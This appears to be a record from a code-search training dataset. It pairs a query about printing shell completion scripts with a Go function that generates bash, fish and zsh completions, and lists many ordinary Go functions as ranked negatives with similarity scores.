filePrefix+\"_\"+strconv.Itoa(indexPageNumber)+\".idx\")\n\treturn indexFilePath\n}", "func getCurrentURLID(u *UseCase, ctx context.Context) (*uint64, error) {\n\n\tredisCurrentID, err := u.RedisRepo.Get(ctx, CurrentURLID)\n\tif err != nil {\n\t\treturn nil, errors.New(ErrorGeneric)\n\t}\n\n\tif redisCurrentID != nil {\n\t\ti, err := strconv.Atoi(*redisCurrentID)\n\t\tif err != nil {\n\t\t\treturn nil, errors.New(ErrorGeneric)\n\t\t}\n\t\tcurrentID := uint64(i)\n\t\treturn pointer.ToUint64(currentID), nil\n\t}\n\n\tcountAllURL, err := u.DatabaseRepo.CountAllURL()\n\tif err != nil {\n\t\treturn nil, errors.New(ErrorGeneric)\n\t}\n\n\treturn countAllURL, nil\n\n}", "func (sq *ServerQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := sq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func getOverrideIndex(indexString string) (int, int, error) {\n\t// Try to convert it from a string to an integer.\n\toverrideIndex, err := strconv.Atoi(indexString)\n\n\t// Was it a valid index?\n\tif err == nil {\n\t\t// Make sure the override index is valid.\n\t\tvar numOverrides = len(config.Overrides)\n\t\tif overrideIndex >= 0 && overrideIndex < numOverrides {\n\t\t\t// Override index is valid.\n\t\t\treturn overrideIndex, http.StatusOK, nil\n\t\t} else {\n\t\t\t// Override index is out of bounds.\n\t\t\tvar errMsg = \"Override index is out of bounds: \" + indexString\n\t\t\treturn overrideIndex, http.StatusNotFound,\n\t\t\t\terrors.New(errMsg)\n\t\t}\n\t} else {\n\t\t// It was an invalid override index.\n\t\treturn -1, http.StatusBadRequest,\n\t\t\terrors.New(\"Invalid override index: \" + indexString)\n\t}\n}", "func (p *LocalRepository) GetIndexFile() (io.Reader, func(), error) {\n\tfName := fmt.Sprintf(\"%s/%s\", p.path, \"index.yaml\")\n\tf, err := os.Open(fName)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn f, func() { f.Close() }, nil\n}", "func (b *Bucket) UUID() string {\n\treturn b.client.BucketUUID()\n}", "func (cs *ConsensusSet) currentBlockID() types.BlockID {\n\treturn cs.db.getPath(cs.height())\n}", "func (p *ThriftHiveMetastoreClient) GetIndexByName(ctx context.Context, db_name string, tbl_name string, index_name string) (r *Index, err error) {\n var _args112 ThriftHiveMetastoreGetIndexByNameArgs\n _args112.DbName = db_name\n _args112.TblName = tbl_name\n _args112.IndexName = index_name\n var _result113 ThriftHiveMetastoreGetIndexByNameResult\n if err = p.Client_().Call(ctx, \"get_index_by_name\", &_args112, &_result113); err != nil {\n return\n }\n switch {\n case _result113.O1!= nil:\n return r, _result113.O1\n case _result113.O2!= nil:\n return r, _result113.O2\n }\n\n return _result113.GetSuccess(), nil\n}", "func (tcr *TestCaseReporter) Index() int {\n\treturn tcr.index\n}", "func (b *raftBadger) LastIndex() (uint64, error) {\n\tstore := b.gs.GetStore().(*badger.DB)\n\tlast := uint64(0)\n\tif err := store.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\t\topts.Reverse = true\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\t\t// see https://github.com/dgraph-io/badger/issues/436\n\t\t// and https://github.com/dgraph-io/badger/issues/347\n\t\tseekKey := append(dbLogPrefix, 0xFF)\n\t\tit.Seek(seekKey)\n\t\tif it.ValidForPrefix(dbLogPrefix) {\n\t\t\titem := it.Item()\n\t\t\tk := string(item.Key()[len(dbLogPrefix):])\n\t\t\tidx, err := strconv.ParseUint(k, 10, 64)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlast = idx\n\t\t}\n\t\treturn nil\n\t}); err != nil {\n\t\treturn 0, err\n\t}\n\treturn last, nil\n}", "func (wtq *WorkerTypeQuery) FirstIDX(ctx context.Context) int {\n\tid, err := wtq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func getIndexBasedDevicePath(index int) string {\n\treturn fmt.Sprintf(\"%s%s\", defaultDevicePathPrefix, fmt.Sprint('a'+index))\n}", "func (lbq *LatestBlockQuery) FirstIDX(ctx context.Context) int {\n\tid, err := lbq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (gq *GoodsQuery) FirstIDX(ctx context.Context) string {\n\tid, err := gq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (dtq *DeviceTokenQuery) FirstIDX(ctx context.Context) int {\n\tid, err := dtq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (mc *MockContiv) GetContainerIndex() containeridx.Reader {\n\treturn mc.containerIndex\n}", "func (r *ChartRepoReconciler) GetIndex(cr *v1beta1.ChartRepo, ctx context.Context) (*repo.IndexFile, error) {\n\tvar username string\n\tvar password string\n\n\tif cr.Spec.Secret != nil {\n\t\tns := cr.Spec.Secret.Namespace\n\t\tif ns == \"\" {\n\t\t\tns = cr.Namespace\n\t\t}\n\n\t\tkey := client.ObjectKey{Namespace: ns, Name: cr.Spec.Secret.Name}\n\n\t\tvar secret corev1.Secret\n\t\tif err := r.Get(ctx, key, &secret); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdata := secret.Data\n\t\tusername = string(data[\"username\"])\n\t\tpassword = string(data[\"password\"])\n\n\t}\n\n\tlink := strings.TrimSuffix(cr.Spec.URL, \"/\") + \"/index.yaml\"\n\treq, err := http.NewRequest(\"GET\", link, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif username != \"\" && password != \"\" {\n\t\treq.SetBasicAuth(username, password)\n\t}\n\n\treturn getRepoIndexFile(req)\n\n}", "func (res *SendResult) GetIndex() int64 {\n\treturn res.index\n}", "func (builder *OnDiskBuilder) GetIndex() requestableIndexes.RequestableIndex {\n\treturn requestableIndexes.OnDiskIndexFromFolder(\"./saved/\")\n}", "func (e *RepoEntity) currentRemoteIndex() int {\n\tcix := 0\n\tfor i, remote := range e.Remotes {\n\t\tif remote.Name == e.Remote.Name {\n\t\t\tcix = i\n\t\t}\n\t}\n\treturn cix\n}", "func keyIndex(mid int64) string {\n\treturn _keyIndex + strconv.FormatInt(mid, 10)\n}", "func (dtq *DeviceTokenQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := dtq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (db *DB) GetObjectIndex(id *record.ID, forupdate bool) (*index.ObjectLifeline, error) {\n\ttx := db.BeginTransaction(false)\n\tdefer tx.Discard()\n\n\tidx, err := tx.GetObjectIndex(id, forupdate)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn idx, nil\n}", "func (tq *TenantQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := tq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (client *Client) CurrentRegAccID() (int, error) {\n\tparts := strings.Split(client.currentUser, \"-\")\n\tif len(parts) < 2 {\n\t\treturn 0, fmt.Errorf(\"malformed login name\")\n\t}\n\tregAccID, err := strconv.Atoi(parts[1])\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"malformed login name\")\n\t}\n\treturn regAccID, nil\n}", "func (mq *MediaQuery) FirstIDX(ctx context.Context) int {\n\tid, err := mq.FirstID(ctx)\n\tif err != nil && !IsNotFound(err) {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (k *SKey) Idx() string {\n\treturn k.id\n}", "func (rb *ShardsRecordBuilder) IndexingIndexCurrent(indexingindexcurrent string) *ShardsRecordBuilder {\n\trb.v.IndexingIndexCurrent = &indexingindexcurrent\n\treturn rb\n}", "func (lbq *LatestBlockQuery) OnlyIDX(ctx context.Context) int {\n\tid, err := lbq.OnlyID(ctx)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn id\n}", "func (db *DB) GetObjectIndex(\n\tctx context.Context,\n\tid *core.RecordID,\n\tforupdate bool,\n) (*index.ObjectLifeline, error) {\n\ttx := db.BeginTransaction(false)\n\tdefer tx.Discard()\n\n\tidx, err := tx.GetObjectIndex(ctx, id, forupdate)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn idx, nil\n}" ]
[ "0.7144685", "0.5786462", "0.57137805", "0.56747085", "0.5615748", "0.5600664", "0.5521853", "0.5507938", "0.5505144", "0.5474473", "0.54624945", "0.54579675", "0.54390085", "0.54054946", "0.5388893", "0.53199935", "0.53090554", "0.52770084", "0.5256892", "0.5210128", "0.51899594", "0.517297", "0.5145051", "0.5139241", "0.51360214", "0.51191986", "0.5105941", "0.5101456", "0.5092536", "0.5063182", "0.5062401", "0.5061559", "0.5026929", "0.5009082", "0.49987406", "0.49658006", "0.496431", "0.4957477", "0.49348333", "0.49316186", "0.49135095", "0.49049988", "0.48996744", "0.48939455", "0.48939455", "0.48939455", "0.48814923", "0.48788762", "0.48626179", "0.4858997", "0.48558182", "0.4850479", "0.48387456", "0.48256275", "0.4819492", "0.48171273", "0.48044685", "0.47978967", "0.4793642", "0.47855982", "0.47808614", "0.4769085", "0.4767473", "0.47646034", "0.4762642", "0.47585133", "0.47516564", "0.4750617", "0.47493663", "0.47479606", "0.47476682", "0.47444528", "0.4735235", "0.47329757", "0.47237906", "0.47168836", "0.4715247", "0.47144642", "0.47033352", "0.4702054", "0.47017896", "0.4701127", "0.4700487", "0.46900874", "0.46836165", "0.46812963", "0.46782225", "0.46776232", "0.46733686", "0.46708503", "0.46702385", "0.46696955", "0.46663973", "0.4666239", "0.4663275", "0.46616858", "0.46596384", "0.4659173", "0.4658638", "0.46570534" ]
0.8477617
0
////////////////////////////////////////////////////////////////////////////////// // printCompletion prints completion for given shell
func printCompletion() int { info := genUsage() switch options.GetS(OPT_COMPLETION) { case "bash": fmt.Printf(bash.Generate(info, "rbinstall-clone")) case "fish": fmt.Printf(fish.Generate(info, "rbinstall-clone")) case "zsh": fmt.Printf(zsh.Generate(info, optMap, "rbinstall-clone")) default: return 1 } return 0 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func printCompletion() int {\n\tinfo := genUsage()\n\n\tswitch options.GetS(OPT_COMPLETION) {\n\tcase \"bash\":\n\t\tfmt.Printf(bash.Generate(info, \"init-exporter\"))\n\tcase \"fish\":\n\t\tfmt.Printf(fish.Generate(info, \"init-exporter\"))\n\tcase \"zsh\":\n\t\tfmt.Printf(zsh.Generate(info, optMap, \"init-exporter\"))\n\tdefault:\n\t\treturn 1\n\t}\n\n\treturn 0\n}", "func genCompletion() {\n\tinfo := genUsage()\n\n\tswitch options.GetS(OPT_COMPLETION) {\n\tcase \"bash\":\n\t\tfmt.Printf(bash.Generate(info, \"shdoc\"))\n\tcase \"fish\":\n\t\tfmt.Printf(fish.Generate(info, \"shdoc\"))\n\tcase \"zsh\":\n\t\tfmt.Printf(zsh.Generate(info, optMap, \"shdoc\"))\n\tdefault:\n\t\tos.Exit(1)\n\t}\n\n\tos.Exit(0)\n}", "func RunCompletion(out io.Writer, cmd *cobra.Command, args []string) {\n\tshell := args[0]\n\tswitch shell {\n\tcase \"bash\":\n\t\t_ = runCompletionBash(out, cmd.Parent())\n\tcase \"zsh\":\n\t\t_ = runCompletionZsh(out, cmd.Parent())\n\tdefault:\n\t\tlog.Fatal(\"UnExpected shell type.\")\n\t}\n}", "func Completion(cmd *cobra.Command, args []string) {\n\terr := cmd.Root().GenBashCompletionFile(completionTarget)\n\tcompletion(err, args...)\n}", "func (c *Command) GenBashCompletion(w io.Writer) error {\n\treturn c.genBashCompletion(w, false)\n}", "func (app *App) doCompletion(args []string) (exitCode int) {\n\tif hasCompletionFlag(args) {\n\t\tcompletions, exitCode := doCompletion(app, args[1:])\n\t\tfor _, completion := range completions {\n\t\t\t_, _ = fmt.Fprintln(app.Stdout, completion)\n\t\t}\n\t\treturn int(exitCode)\n\t}\n\tapp.Subcommands = append(app.Subcommands, completionCommand(app.Name))\n\treturn -1\n}", "func getCompletion(sh string, parent *cobra.Command) (string, error) {\n\tvar err error\n\tvar buf bytes.Buffer\n\n\tswitch sh {\n\tcase \"bash\":\n\t\terr = parent.GenBashCompletion(&buf)\n\tcase \"zsh\":\n\t\terr = parent.GenZshCompletion(&buf)\n\tcase \"fish\":\n\t\terr = parent.GenFishCompletion(&buf, true)\n\n\tdefault:\n\t\terr = errors.New(\"unsupported shell type (must be bash, zsh or fish): \" + sh)\n\t}\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn buf.String(), nil\n}", "func (c *Command) GenBashCompletionWithDesc(w io.Writer) error {\n\treturn c.genBashCompletion(w, true)\n}", "func doCompletion(app *App, args []string) (completions []string, exitCode uint8) {\n\tdefer func() {\n\t\t// Ignore panics\n\t\tif r := recover(); r != nil {\n\t\t\tcompletions = none\n\t\t}\n\t}()\n\targs = stripSlashes(args[:len(args)-1])\n\treturn generateCompletions(app, args)\n}", "func Complete() *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"complete\",\n\t\tAliases: []string{\"completion\"},\n\t\tHidden: true,\n\t\tShort: \"Generate script for auto-completion\",\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tif name, _ := cmd.Flags().GetString(\"executable\"); name != \"\" {\n\t\t\t\tcmd.Root().Use = name\n\t\t\t}\n\t\t\tswitch shell, _ := cmd.Flags().GetString(\"shell\"); shell {\n\t\t\tcase \"bash\":\n\t\t\t\treturn cmd.Root().GenBashCompletion(os.Stdout)\n\t\t\tcase \"zsh\":\n\t\t\t\treturn cmd.Root().GenZshCompletion(os.Stdout)\n\t\t\tcase \"fish\":\n\t\t\t\t// Fish does not accept `-` in variable names\n\t\t\t\tbuf := new(bytes.Buffer)\n\t\t\t\tif err := cmd.Root().GenFishCompletion(buf, true); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tscript := strings.Replace(buf.String(), \"__ttn-lw-\", \"__ttn_lw_\", -1)\n\t\t\t\t_, err := fmt.Print(script)\n\t\t\t\treturn err\n\t\t\tcase \"powershell\":\n\t\t\t\treturn cmd.Root().GenPowerShellCompletion(os.Stdout)\n\t\t\tdefault:\n\t\t\t\treturn errInvalidShell.WithAttributes(\"shell\", shell)\n\t\t\t}\n\t\t},\n\t}\n\tcmd.Flags().String(\"shell\", \"bash\", \"bash|zsh|fish|powershell\")\n\tcmd.Flags().String(\"executable\", \"\", \"Executable name to create generate auto completion script for\")\n\treturn cmd\n}", "func newCmdCompletion() *cobra.Command {\n\texample := ` # bash <= 3.2:\n # To load shell completion into your current shell session\n source /dev/stdin <<< \"$(linkerd completion bash)\"\n\n # bash >= 4.0:\n source <(linkerd completion bash)\n\n # To load shell completion for every shell session\n # bash <= 3.2 on osx:\n brew install bash-completion # ensure you have bash-completion 1.3+\n linkerd completion bash > $(brew --prefix)/etc/bash_completion.d/linkerd\n\n # bash >= 4.0 on osx:\n brew install bash-completion@2\n linkerd completion bash > $(brew --prefix)/etc/bash_completion.d/linkerd\n\n # bash >= 4.0 on linux:\n linkerd completion bash > /etc/bash_completion.d/linkerd\n\n # You will need to start a new shell for this setup to take effect.\n\n # zsh:\n # If shell completion is not already enabled in your environment you will need\n # to enable it. You can execute the following once:\n\n echo \"autoload -U compinit && compinit\" >> ~/.zshrc\n\n # create a linkerd 'plugins' folder and add it to your $fpath\n mkdir $ZSH/plugins/linkerd && echo \"fpath=($ZSH/plugins/linkerd $fpath)\" >> ~/.zshrc\n\n # To load completions for each session, execute once:\n linkerd completion zsh > \"${fpath[1]}/_linkerd\" && exec $SHELL\n\n # You will need to start a new shell for this setup to take effect.\n\n # fish:\n linkerd completion fish | source\n\n # To load fish shell completions for each session, execute once:\n linkerd completion fish > ~/.config/fish/completions/linkerd.fish`\n\n\tcmd := &cobra.Command{\n\t\tUse: \"completion [bash|zsh|fish]\",\n\t\tShort: \"Output shell completion code for the specified shell (bash, zsh or fish)\",\n\t\tLong: \"Output shell completion code for the specified shell (bash, zsh or fish).\",\n\t\tExample: example,\n\t\tArgs: cobra.ExactArgs(1),\n\t\tValidArgs: []string{\"bash\", \"zsh\", \"fish\"},\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tout, err := getCompletion(args[0], cmd.Parent())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfmt.Print(out)\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn cmd\n}", "func completionColorizer(completed bool) string {\n\tif completed {\n\t\treturn color.HiGreenString(\"pwnd\")\n\t}\n\n\treturn color.HiYellowString(\"incomplete\")\n}", "func completion(s string) []string {\n\tif len(s) >= 1 && s[0] == 'h' {\n\t\treturn []string{\"hello\", \"hello there\"}\n\t}\n\treturn nil\n}", "func HandleBashCompletion() {\n\thandleBashCompletionWithOptions(true)\n}", "func TabCompleter(line []rune, pos int) (lastWord string, completions []*readline.CompletionGroup) {\n\n\t// Format and sanitize input\n\targs, last, lastWord := FormatInput(line)\n\n\t// Detect base command automatically\n\tvar command = detectedCommand(args, \"\") // add *commands.Context.Menu in the string here\n\n\t// Propose commands\n\tif noCommandOrEmpty(args, last, command) {\n\t\treturn CompleteMenuCommands(last, pos)\n\t}\n\n\t// Check environment variables\n\tif envVarAsked(args, last) {\n\n\t}\n\n\t// Base command has been identified\n\tif commandFound(command) {\n\n\t\t// If user asks for completions with \"-\" / \"--\", show command options\n\t\tif optionsAsked(args, last, command) {\n\n\t\t}\n\n\t\t// Check environment variables again\n\t\tif envVarAsked(args, last) {\n\n\t\t}\n\n\t\t// Propose argument completion before anything, and if needed\n\t\tif _, yes := argumentRequired(last, args, \"\", command, false); yes { // add *commands.Context.Menu in the string here\n\n\t\t}\n\n\t\t// Then propose subcommands\n\t\tif hasSubCommands(command, args) {\n\n\t\t}\n\n\t\t// Handle subcommand if found (maybe we should rewrite this function and use it also for base command)\n\t\tif _, ok := subCommandFound(last, args, command); ok {\n\n\t\t}\n\t}\n\n\t// -------------------- IMPORTANT ------------------------\n\t// WE NEED TO PASS A DEEP COPY OF THE OBJECTS: OTHERWISE THE COMPLETION SEARCH FUNCTION WILL MESS UP WITH THEM.\n\n\treturn\n}", "func (cli *Application) handleBashCompletion() {\n\tcli.Log.Debugf(\"CLI:handleBashCompletion - is bash completion call (%t)\",\n\t\tcli.flag(\"show-bash-completion\").Present())\n\n\tif cli.flag(\"show-bash-completion\").Present() {\n\t\t// TODO(mkungla): https://github.com/howi-ce/howi/issues/15\n\t\tcli.Log.Error(\"bash completion not implemented\")\n\t\tos.Exit(0)\n\t}\n}", "func (h *ForwardHandle) Complete(cmd *cobra.Command, argsIn []string, settings *config.Config) {\n\th.Command = cmd\n\th.ports = argsIn\n\n\th.podsFinder = pods.NewKubePodsFind()\n\th.podsFilter = pods.NewKubePodsFilter()\n\n\tif h.Environment == \"\" {\n\t\th.Environment = settings.GetStringQ(config.KubeEnvironmentName)\n\t}\n\tif h.Service == \"\" {\n\t\th.Service = settings.GetStringQ(config.Service)\n\t}\n}", "func (c *slotsCmd) Complete(cmd *cobra.Command, args []string) error {\n\tc.args = args\n\n\treturn nil\n}", "func (s *SoracomCompleter) Complete(d prompt.Document) []prompt.Suggest {\n\tline := d.CurrentLine()\n\n\t// return from hard corded Commands as atm don't have a way to find top-level commands from API definition\n\tif isFirstCommand(line) {\n\t\ts := filterFunc(Commands, line, prompt.FilterFuzzy)\n\t\tsort.Slice(s, func(i, j int) bool {\n\t\t\treturn s[i].Text < s[j].Text\n\t\t})\n\t\treturn s\n\t}\n\n\tif endsWithPipeOrRedirect(line) {\n\t\treturn []prompt.Suggest{}\n\t}\n\n\treturn s.findSuggestions(line)\n}", "func PrintCompletedBar() {\n _, err := os.Stdout.Write([]byte(\"Progress: [\" + strings.Repeat(\"=\", progressBarLength) + \"]\\r\"))\n Checkerr(err)\n _, err = os.Stdout.Write([]byte(\"Completed \\n\"))\n Checkerr(err)\n}", "func (async *async) complete() {\n\tif atomic.CompareAndSwapUint32(&async.state, pending, completed) {\n\t\tclose(async.done)\n\t\tasync.RLock()\n\t\tdefer async.RUnlock()\n\t\tfor _, comp := range async.completions {\n\t\t\tcomp()\n\t\t}\n\t}\n\tasync.completions = nil\n}", "func PrintProgressBar(progress int64, complete int64) {\n amount := int((int64(progressBarLength-1) * progress) / complete)\n rest := (progressBarLength - 1) - amount\n bar := strings.Repeat(\"=\", amount) + \">\" + strings.Repeat(\".\", rest)\n _, err := os.Stdout.Write([]byte(\"Progress: [\" + bar + \"]\\r\"))\n Checkerr(err)\n}", "func (parser *MarpaParser) recordCompletion(start, end int, term Term) {\n\tc := AhfaCompletion{start, end, term}\n\tparser.cnodes = append(parser.cnodes, c)\n}", "func (o *ListOptions) Complete(ctx context.Context, cmdline cmdline.Cmdline, args []string) (err error) {\n\n\to.devfileList, err = o.clientset.RegistryClient.ListDevfileStacks(ctx, o.registryFlag, o.devfileFlag, o.filterFlag, o.detailsFlag, log.IsJSON())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (s *SimpleTask) Complete() {\n\tclose(s.ch)\n}", "func (c *completer) Complete(d prompt.Document) (s []*prompt.Suggest) {\n\tbc := d.TextBeforeCursor()\n\tif bc == \"\" {\n\t\treturn nil\n\t}\n\n\t// TODO: We should consider about spaces used as a part of test.\n\targs := strings.Split(spaces.ReplaceAllString(bc, \" \"), \" \")\n\tcmdName := args[0]\n\targs = args[1:] // Ignore command name.\n\n\tcmd, ok := c.cmds[cmdName]\n\tif !ok {\n\t\t// return all commands if current input is first command name\n\t\tif len(args) == 0 {\n\t\t\t// number of commands + help\n\t\t\tcmdNames := make([]*prompt.Suggest, 0, len(c.cmds))\n\t\t\tcmdNames = append(cmdNames, prompt.NewSuggestion(\"help\", \"show help message\"))\n\t\t\tfor name, cmd := range c.cmds {\n\t\t\t\tcmdNames = append(cmdNames, prompt.NewSuggestion(name, cmd.Synopsis()))\n\t\t\t}\n\n\t\t\ts = cmdNames\n\t\t}\n\t\treturn prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)\n\t}\n\n\tdefer func() {\n\t\tif len(s) != 0 {\n\t\t\ts = append(s, prompt.NewSuggestion(\"--help\", \"show command help message\"))\n\t\t}\n\t\ts = prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)\n\t}()\n\n\tfs, ok := cmd.FlagSet()\n\tif ok {\n\t\tif len(args) > 0 && strings.HasPrefix(args[len(args)-1], \"-\") {\n\t\t\tfs.VisitAll(func(f *pflag.Flag) {\n\t\t\t\ts = append(s, prompt.NewSuggestion(\"--\"+f.Name, f.Usage))\n\t\t\t})\n\t\t\treturn s\n\t\t}\n\n\t\t_ = fs.Parse(args)\n\t\targs = fs.Args()\n\t}\n\n\tcompFunc, ok := c.completions[cmdName]\n\tif !ok {\n\t\treturn s\n\t}\n\treturn compFunc(args)\n}", "func printStatus(host string, openPorts chan uint32, portsChecked *uint32) {\n\tgo func() {\n\t\tvar spinner = \"-\\\\|/\"\n\t\tfmt.Printf(\"\\n\")\n\t\tfor i := 0; ; i = i % 3 {\n\t\t\tfmt.Printf(\"%s Scanning %s [%d/%d] Open ports:%d\\r\",\n\t\t\t\tstring(spinner[i]), host, *portsChecked, cap(openPorts), len(openPorts))\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\ti++\n\t\t}\n\t}()\n}", "func printAvailableCommands() error {\n\n\t// Get available commands found in run.yaml\n\tavailableCommands, err := getAvailableCommands()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Print name of each command\n\tfmt.Println(\"\\nAvailable commands:\")\n\tfor c := range availableCommands {\n\t\tfmt.Printf(\"- %s\\n\", c)\n\t}\n\tfmt.Println()\n\n\t// No errors\n\treturn nil\n}", "func (s *Step) Complete() {\n\tfmt.Fprintln(writer, color.GreenString(fmt.Sprintf(\"%s %s %s %s\", success, time.Now().Format(time.RFC3339), s.test, s.name)))\n}", "func Complete(parser *kong.Kong, opt ...Option) {\n\tif parser == nil {\n\t\treturn\n\t}\n\topts := buildOptions(opt...)\n\terrHandler := opts.errorHandler\n\tif errHandler == nil {\n\t\terrHandler = func(err error) {\n\t\t\tparser.Errorf(\"error running command completion: %v\", err)\n\t\t}\n\t}\n\texitFunc := opts.exitFunc\n\tif exitFunc == nil {\n\t\texitFunc = parser.Exit\n\t}\n\tcmd, err := Command(parser, opt...)\n\tif err != nil {\n\t\terrHandler(err)\n\t\texitFunc(1)\n\t}\n\tcmp := complete.New(parser.Model.Name, cmd)\n\tcmp.Out = parser.Stdout\n\tdone := cmp.Complete()\n\tif done {\n\t\texitFunc(0)\n\t}\n}", "func (c *Completer) Complete(d prompt.Document) []prompt.Suggest {\n\t// shell lib can request duplicate Complete request with empty strings as text\n\t// skipping to avoid cache reset\n\tif d.Text == \"\" {\n\t\treturn nil\n\t}\n\n\tmeta := extractMeta(c.ctx)\n\n\targsBeforeCursor := meta.CliConfig.Alias.ResolveAliases(strings.Split(d.TextBeforeCursor(), \" \"))\n\targsAfterCursor := meta.CliConfig.Alias.ResolveAliases(strings.Split(d.TextAfterCursor(), \" \"))\n\tcurrentArg := lastArg(argsBeforeCursor) + firstArg(argsAfterCursor)\n\n\t// leftArgs contains all arguments before the one with the cursor\n\tleftArgs := trimLastArg(argsBeforeCursor)\n\t// rightWords contains all words after the selected one\n\trightWords := trimFirstArg(argsAfterCursor)\n\n\tleftWords := append([]string{\"scw\"}, leftArgs...)\n\n\tacr := AutoComplete(c.ctx, leftWords, currentArg, rightWords)\n\n\tsuggestions := []prompt.Suggest(nil)\n\trawSuggestions := []string(acr.Suggestions)\n\n\t// if first suggestion is an option, all suggestions should be options\n\t// we sort them\n\tif len(rawSuggestions) > 0 && argIsOption(rawSuggestions[0]) {\n\t\trawSuggestions = sortOptions(meta, leftArgs, rawSuggestions[0], rawSuggestions)\n\t}\n\n\tfor _, suggest := range rawSuggestions {\n\t\tsuggestions = append(suggestions, prompt.Suggest{\n\t\t\tText: suggest,\n\t\t\tDescription: getSuggestDescription(meta, leftArgs, suggest),\n\t\t})\n\t}\n\n\treturn prompt.FilterHasPrefix(suggestions, currentArg, true)\n}", "func (o *ViewOptions) Complete(cmdline cmdline.Cmdline, args []string) (err error) {\n\treturn\n}", "func Usage() {\n\tfmt.Fprintf(os.Stderr, \"Usage of %s:\\n\", os.Args[0])\n\tfmt.Fprintf(os.Stderr, \"\\tgen-bash-completion\\n\")\n\tos.Exit(2)\n}", "func (i *CmdLine) PrintSuccess() {\n\tfmt.Printf(\"Richtig!\")\n}", "func JobCompletion(_, text string, maxCompletions int64) ([]prompt.Suggest, CacheFunc) {\n\tc := getPachClient()\n\tvar result []prompt.Suggest\n\tif err := c.ListJobF(\"\", \"\", nil, 0, false, func(ji *pps.JobInfo) error {\n\t\tif maxCompletions > 0 {\n\t\t\tmaxCompletions--\n\t\t} else {\n\t\t\treturn errutil.ErrBreak\n\t\t}\n\t\tresult = append(result, prompt.Suggest{\n\t\t\tText: ji.Job.Id,\n\t\t\tDescription: jobDesc(ji),\n\t\t})\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, CacheNone\n\t}\n\treturn result, CacheAll\n}", "func NewCmdCompletion(rootCmd *cobra.Command) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"completion SHELL\",\n\t\tShort: \"Outputs shell completion code for the specified shell (bash or zsh)\",\n\t\tLong: `\nOutputs shell completion code for the specified shell (bash or zsh)\t\n\nTo load completion to current bash shell,\n. <(mayactl completion bash)\n\nTo configure your bash shell to load completions for each session add to your bashrc\n# ~/.bashrc or ~/.profile\n. <(mayactl completion bash)\n\nTo load completion to current zsh shell,\n. <(mayactl completion zsh)\n\nTo configure your zsh shell to load completions for each session add to your zshrc\n# ~/.zshrc\n. <(mayactl completion zsh)\n\t\t`,\n\t\tPersistentPreRun: func(cmd *cobra.Command, args []string) {\n\t\t},\n\t\tRun: func(cmd *cobra.Command, args []string) {\n\t\t\tRunCompletion(os.Stdout, rootCmd, args)\n\t\t},\n\t}\n\n\treturn cmd\n}", "func (c *Completion) Run(shell string, out io.Writer, useDefault bool) error {\n\tswitch shell {\n\tcase ShellBash:\n\t\tif err := c.GenBashCompletion(out); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif useDefault {\n\t\t\tbashTarget := CompletionMakeTarget(shell, c.AutocompleteDir)\n\t\t\treturn fsys.Symlink(c.FS, bashTarget, filepath.Join(c.BashSymlinkDir, \"godl\"))\n\t\t}\n\n\t\treturn nil\n\tcase ShellZsh:\n\t\tif err := c.GenZshCompletion(out); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif useDefault {\n\t\t\tzshTarget := CompletionMakeTarget(shell, c.AutocompleteDir)\n\t\t\treturn fsys.Symlink(c.FS, zshTarget, filepath.Join(c.ZshSymlinkDir, \"_godl\"))\n\t\t}\n\t\treturn nil\n\tcase ShellFish:\n\t\tif err := c.GenFishCompletion(out, true); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif useDefault {\n\t\t\tfishTarget := CompletionMakeTarget(shell, c.AutocompleteDir)\n\t\t\treturn fsys.Symlink(c.FS, fishTarget, filepath.Join(c.FishSymlinkDir, \"godl.fish\"))\n\t\t}\n\t\treturn nil\n\tdefault:\n\t\treturn errors.New(\"unknown shell passed\")\n\t}\n}", "func (c *CrosDisks) FormatAndWaitForCompletion(ctx context.Context, path, fsType string, options []string) (DeviceOperationCompleted, error) {\n\treturn 